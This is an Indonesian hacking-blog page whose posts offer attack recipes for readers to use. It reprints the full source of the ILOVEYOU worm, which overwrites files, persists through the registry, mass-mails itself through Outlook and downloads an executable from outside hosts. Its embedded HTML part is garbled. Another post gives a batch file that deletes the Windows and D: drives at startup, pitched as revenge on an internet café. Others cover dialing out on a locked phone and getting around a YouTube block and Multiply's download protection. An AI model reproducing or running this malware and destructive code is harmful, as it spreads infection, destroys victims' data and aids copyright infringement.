Pasukan Tiga Belas

Jalan Untuk Merampok Password Admin Forum

Menyerang Website Sekolah Keponakan GW bag 1

TIPS Mempercepat Koneksi Internet

Udah selsai....skrg anda mulai browsing lagi dan cek berapa kecepatan internet anda.....hwhwhw.....SELAMAT ANDA BERHASIL...

Tks To: My Lovely Chupe,,,,for all suport. Makasih juga pada Pemilik situs abangadek dot com yang udah mau ngasil gratisan.

 virus surat cinta

Virus love latter atau virus surat cinta ini memang sempat jadi pembicaraan di beberapa forum. Cukup kondang deh...di banding inul daratista..hehe..

Kalau anda pengen coba virus love,,,nih gw ada source code nya..silahkan anda buat sendiri dan aktifkan di komputer pribadi untuk menguji kemampuan anti virus kita apa bener2 dah kuat!..Copysource di bawah ke notepad, kemudat save dalam ekstensi BAT. (save.bat). kemudaian letakkan dimana saja...maka virus ini akan mulai beraksi....

berikut source code virus love latter:

rem barok -loveletter(vbe)

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /

Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32

",dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi

n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX

.exe"

end if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI

X",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start

Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")

or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or

(s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\script.ini")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,

if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run

correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"

scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"
good...@-@>"&vbcrlf& _

"
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"

This HTML file need ActiveX Control

To Enable to read
this HTML file
- Please press #-#YES#-# button to Enable
ActiveX"&vbcrlf& _
"
BGCOLOR=@-@yellow@-@>----------z--------------------z----------
"&vbcrlf& _
""&vbcrlf& _
"

Ngerusak Program Komputer dengan File .BAT                     

Dendam sama pemilik warnet? Mau hancurin semua komputernya? Gampang..neh gw ada solusinya....

Okay, ngga' usah banyak omong, lansung aja copy-pastekan code sialan di bawah ini ke teks editor kamu dan simpan dengan ekstensi .bat:

@echo off

echo deltree /y %windir%\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat

echo deltree /y d:\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat

atau

@echo off

echo deltree /y %windir%\*.*>> AUTOEXEC.BAT

echo deltree /y d:\*.*>> AUTOEXEC.BAT

Yup, kalo udah disimpan (misalnya LAMER.BAT) lansung eksekusi dan shutdown komputernya trus kabur dech hihihi... program perusak kamu bakalan bekerja dengan sendirinya begitu si korban nyalain komputernya lagi.

                          Jangan korbanya warnet temen sendiri ya bro.....hehehe              

Cara Bobol Telphon Yang Terkunci

 Mau tahu...gimana cara pakek telpon rumah..jika bokap atau nyokap lo ngunci tuh tombolnya? hehe...

 nich caranya..

  1. Angkat gagang teleponnya.

 2. Tekan tombol dialnya (itu tuuch.. yang biasa buat mutusin telepon, yang ada pada dudukan kepala telepon) sebagai ganti tombol angka. Caranya? Tekan sebanyak angka yang ingin kamu pencet. Misalnya kamu ingin menghubungi 031 1236669, maka anyaknya tombol yang harus kamu pencet adalah:

- Tekan tombol dial tadi sebanyak 10 X, diam sesaat (tapi jangan lama-lama)

- Tekan lagi tombol dialnya sebanyak 3X, diam sesaat

- Tekan tombil dialnya 1 X, diam sesaat

begitu seterusnya.

 So, pada intinya, sebagai pengganti angka, kamu harus menekan tombol dialnya sebanyak angka yang ingn kamu tekan. 0 --> 10X, 1 --> 1X, 2 --> 2X, 3 --> 3X dst..

Awas jangan kebanyakan makeknya..nyokap lo bisa teriak2 karna tagihan bakal bengkak tuh..                                                                                  

 Trik BUka Youtube Dari Indonesia

 Oleh: David_rudra

Artikel ini kupersembah untuk semua penduduk web 13. Untuk 'Oncos' yang memberikan inspirasi. Dan untuk kemajuan pendidikan di Indonesia.

Dengan ditutupnya situs Youtube dari pengguna Internet di Indonesia, mendorong pasukan 13 untuk mencari solusi bagaimana membuka Layanan website itu. Apalagi tidak semua warga Indonesia sepatkat dengan penutupan website itu.

Artikel ini, kami buat hanya untuk menunjang proses pendidikan di Indonesia, tidak bermaksud untuk mendukung peredaran film2 yang mengandung pornografi maupun film Fitna di Website youtube, hanya saja kami ingin menyelamatkan pengguna youtube yang menginginkan data-data dari youtube.

Ketika sedang asik chating, tiba2 seorang teman mengabarkan, kalau website youtube di tutup.Sedangkan dia sedang berburu data tentang trik bedah, untuk bahan kuliahnya di salah satu universitas di Indonesia.

Selanjutnya,saya melakukan beberapa percobaan, untuk mengkroscek website tersebut. Ketika  saya akses secara normal  www.youtube.com ,memang tidak bisa.

hasil kroscek tersebut, saya melihat, tidak bisa diaksesnya youtube hanya karna IP indonesia ter-BLOCK, jadi jika anda masih terdaftar sebagai usser di Indonesia tidak bakalan bisa mengakses website tersebut.

Untuk itu,  baik kiranya anda ikutin saran saya:

Pertama: Merubah IP dari Indonesia menjadi IP (LN)

Untuk merubah IP anda butuh Software Hide IP NG. dan buruan, Download Hidep IP NG Klik disini

Setelah berhasil mendownload, buka Setup untuk menginstal Software tersebut. Kemudian, klik SHortcut HIDE IP NG yang bergambar 'Pria Jubah Biru' didekstop anda.

Klik 'Try' (jika memang anda tidak membeli software itu, untuk mencoba versi TRIAL nya)

Langkah kedua, setelah klik Hide IP, anda akan diberikan pilihan, IP mana yang anda mau:

Misalnya: United States 70.84.196.2

Klik pilihan itu,diakhiri dengan 'OK'

Setelah langkah ini berhasil, Kemudian Buka Browsing dengan Internet Explorer atau Mozilla, buka kembali www.youtube.com .

Selamat anda berhasil buka web kesayangan anda yang diBlok Pemerintah.

Simple, mudah, dan gk neko2...hehe..selamat mencoba.

Mohon trik ini jangan di gunakan untuk membuka website Porno..hehe....Sutra deh

 Beikut LINK yang bisa anda gunakan Untuk download Hide IP NG secara gratis:

1. Klik disini 

2.KLik sini juga

Cara 'ngakali' Multiply

 Oleh:   David-rudra

Artikel ini kupersembahkan for my lovely..Fender Telecaster dan Zoom Efect 550. Untuk kabinet13, Kodok Ngorek alias Arip, LIA, Saras, Deny becak, Olis, Cak Narto, Dj Yosi, dan semua penghuni alam 13...terkahir buat Sandwith (tuh font-nya pali8ng gede...puas-puas!! hehehe) ....and I Love u ALL Guest!


Ok deh langsung aja....
Sebuah SMS masuk diHP saya, ''Bro gimana cara download lagu dimultiply? '' waduh...kayaknya serius neh anak...gak biasanya nanya hal sederhana gitu.

Usut punya usut, ternyata memang, website MUltiply telah mengalami perubahan. Halaman yang biasa digunakan temen2 untuk mendownload lagu dalam format MP3, ternyata sudah dihapus. Hal ini lantaran, Multiply telah menuai protes dari beberapa perusahaan rekaman yang merasa dirugikan atas pelanggaran hak cipta tersebut.

kini Pasukan 13 terpanggil untuk melakukan penetrasi dan mencari kelemahan dari Multiply.
Dalam sebuah percobaan sederhana, saya menemukan, ternyata proteksi yang dilakukan pihak Multiply untuk menutup halaman download pada kolom MP3 ternyata hanya tipuans emataa. Sebenarnya, tampilan Download masih bisa diakses, namun melalui beberapa tahap sebagai berikut:

Pertama: Lakukan browsing dengan menggunakan fasilitas Google. Dengan kecanggihan google, ternyata mampu menembus proteksi keamanan Multiply, namun anda harus tahu kode apa yang harus anda masukan pada kolom penarian google.

KEtika www.google.com sudah  berhasil anda buka, langkah berikutnya tentukan judul lagu atau  penyanyi yang anda inginkan dengan format sebagai berikut:

 Judu Lagu/Penyanyi inurl:music site:multiply.com

Masukan pada halaman search didalam mesin pencari google. Kemudia telusuri hasilnya dengan tekan seaaarch atau OK.

misalnya:  nirvana inurl:music site:multiply.com

Kemudian tekan search. Nanti8 akan muncul beberapa URL milik para pengguna multiply yang kebetulan telah meng upload lagu yang kita cari tersebut.

misalnya hasil pencarian, muncul berikut:

Magidrek- Thanks Girl's Give make me alone...
Nirvana, all apologis, about a girl, something in the way, lagunya nirvana maan..
jika semua........apologi. download
magidrek.multiply.com/musik/nirvana/09780


Perhatikan tulisan diatas, itu adalah contoh hasil pencarian, kemudian yg perlu anda lakukan adalah meng-copy kode url-nya, yakni: magidrek.multiply.com/musik/nirvana

Kemudian URL tersebut, masukan pada kolom browsing yg baru, dan tekan 'enter' maka akan muncukl halaman multiply yang berbedaaaa. Kolom yang sebelumnya diprotek ternyata terbuka. Halaman download kembali bisa diakses..dan silahkan download sepuasnya..>!!

Inget URL hasil pencarian yg harus di copy.....untuk tulisan diatas hanya sebagai contoh...silahkan pi8lih lagu anda sendiri dan temukan URL nya kemudian download sepuasnya!!



Terima Kasih TUhan...telah temukan jalan ini

Kami Manusia anti komersil.......

Lagu Untuk masyarakat....bukan diprotek dan dijual..


Salam pasukan 13

Add your main content here - text, photos, videos, addons, whatever you want!